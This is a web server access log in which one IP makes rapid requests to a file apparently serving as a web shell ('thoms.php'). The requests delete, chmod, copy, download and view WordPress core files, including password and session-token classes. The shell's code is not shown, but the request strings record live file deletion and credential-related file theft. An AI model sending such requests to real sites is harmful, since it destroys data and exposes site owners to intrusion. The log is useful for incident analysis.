45.135.193.11 - - [11/Sep/2026:23:25:20 -0400] "GET /thoms.php?del=rss.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=rss.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:20 -0400] "GET /thoms.php?chmod=https-migration.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=https-migration.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:20 -0400] "GET /thoms.php?chmod=ms-settings.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=ms-settings.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:20 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-locale-switcher.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Frest-api.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Frest-api.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fassets&p= HTTP/1.1" 200 12313 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fassets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:20 -0400] "GET /thoms.php?dl=class-wp-post-type.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59373 "http://163.245.207.76:443/thoms.php?dl=class-wp-post-type.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:21 -0400] "GET /thoms.php?dl=icons.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=icons.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:21 -0400] "GET /thoms.php?dl=class-wp-comment-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:21 -0400] "GET /thoms.php?chmod=class-wp-customize-panel.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-panel.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:21 -0400] "GET /big-wife.com.tw/wp-includes/IXR/ HTTP/1.1" 200 1456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11903 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:21 -0400] "GET /thoms.php?del=class-wp-http-requests-hooks.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-hooks.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /thoms.php?chmod=Requests&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=Requests&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /big-wife.com.tw/wp-includes/script-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /big-wife.com.tw/wp-includes/template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:21 -0400] "GET /thoms.php?dl=compat-utf8.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=compat-utf8.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /thoms.php?dl=class-wp-paused-extensions-storage.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?dl=class-wp-paused-extensions-storage.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /thoms.php?chmod=block-bindings&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=block-bindings&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-bindings&p= HTTP/1.1" 200 12299 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-bindings&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-parser.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-list-util.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-meta-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fphp-ai-client HTTP/1.1" 200 13122 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fphp-ai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-simplepie-file.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-script-modules.php HTTP/1.1" 200 23708 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-speculation-rules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-site.php HTTP/1.1" 200 14290 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /thoms.php?del=class-wp-paused-extensions-storage.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-wp-paused-extensions-storage.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:22 -0400] "GET /thoms.php?del=option.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59372 "http://163.245.207.76:443/thoms.php?del=option.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:23 -0400] "GET /thoms.php?chmod=post-formats.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=post-formats.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:23 -0400] "GET /thoms.php?chmod=bookmark.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=bookmark.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:23 -0400] "GET /thoms.php?dl=class-wp-widget.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:23 -0400] "GET /thoms.php?chmod=class-snoopy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-snoopy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:23 -0400] "GET /thoms.php?chmod=class-wp-http-streams.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-streams.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:23 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:23 -0400] "GET /thoms.php?del=class-wp-block-pattern-categories-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=class-wp-block-pattern-categories-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:23 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:24 -0400] "GET /thoms.php?chmod=post-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=post-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:24 -0400] "GET /thoms.php?dl=class-wp-xmlrpc-server.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-xmlrpc-server.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-requests.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-requests.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:24 -0400] "GET /thoms.php?del=class-wp-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:24 -0400] "GET /thoms.php?chmod=class-wp-term-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:24 -0400] "GET /thoms.php?chmod=class-wp-theme-json-data.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-data.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:24 -0400] "GET /thoms.php?dl=feed-atom-comments.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=feed-atom-comments.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:25 -0400] "GET /thoms.php?chmod=fonts&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=fonts&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:25 -0400] "GET /thoms.php?dl=feed-rss.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59409 "http://163.245.207.76:443/thoms.php?dl=feed-rss.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:25 -0400] "GET /thoms.php?dl=query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:25 -0400] "GET /thoms.php?del=class-phpass.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=class-phpass.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:25 -0400] "GET /thoms.php?chmod=class-wp-oembed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:25 -0400] "GET /thoms.php?chmod=class-wp-styles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-styles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:25 -0400] "GET /big-wife.com.tw/wp-includes/post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:26 -0400] "GET /thoms.php?chmod=error-protection.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=error-protection.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fai-client&p= HTTP/1.1" 200 12310 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:26 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fwidgets HTTP/1.1" 200 16268 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fwidgets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:25 -0400] "GET /thoms.php?del=class-wp-textdomain-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-textdomain-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:26 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-post-type.php HTTP/1.1" 200 20037 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-post-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:26 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=embed.php HTTP/1.1" 200 24808 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:26 -0400] "GET /thoms.php?dl=class-wp-http.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-wp-http.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fai-client.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fai-client.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:26 -0400] "GET /thoms.php?dl=class-wp-theme-json-data.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-data.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /big-wife.com.tw/wp-includes/ms-blogs.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /big-wife.com.tw/wp-includes/query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=post-template.php HTTP/1.1" 200 33170 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=post-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:26 -0400] "GET /thoms.php?dl=class-wp-application-passwords.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?dl=class-wp-application-passwords.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /big-wife.com.tw/wp-includes/js/ HTTP/1.1" 200 4219 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
